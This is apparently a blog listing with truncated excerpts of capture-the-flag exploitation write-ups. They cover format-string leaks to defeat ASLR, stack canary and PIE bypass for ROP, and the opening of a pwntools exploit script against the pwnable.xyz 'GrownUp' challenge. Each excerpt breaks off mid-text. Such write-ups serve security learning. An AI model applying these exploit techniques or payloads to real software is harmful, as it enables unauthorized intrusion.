Pwning stuffs

At first we realize that there is a format string vulnerability by which we can leak the memory addresses of the stack and thus bypassing ASLR. After a few attempts we see that in position %10$p we leak memory address of the stack and at minus 0x20 it would be the pointer of name whose test content we entered was "AAAA". The next step is to create our exploit that makes the leak using pwntools l..

Writeup - From Format String to Buffer OverflowPKTeam Recon First of all we see the protections of the binary. We have several problems. We can not execute code in the stack such as a shellcode due to NX, we can not overflow without having a canary leak and if we want to attach with gdb we have to bypass PIE as if we want to do ROP (Return-Oriented Programming). We also need leak of a function t..

Challenge GrownUp from pwnable.xyz nc svc.pwnable.xyz 30004 Exploit from pwn import * context.log_level = 'debug' p = remote("svc.pwnable.xyz",30004) #p = process('./GrownUpRedist') #gdb.attach(p,''' #break *0x0000000000400914 #continue #''') p.recvuntil("Are you 18 years or older? [y/N]: ") payload = "\x79"+"aaaBCCC"+"\x80\x10\x60" p.sendline(payload) p.recvuntil("Name: ") #payload = "AAAABBBBA..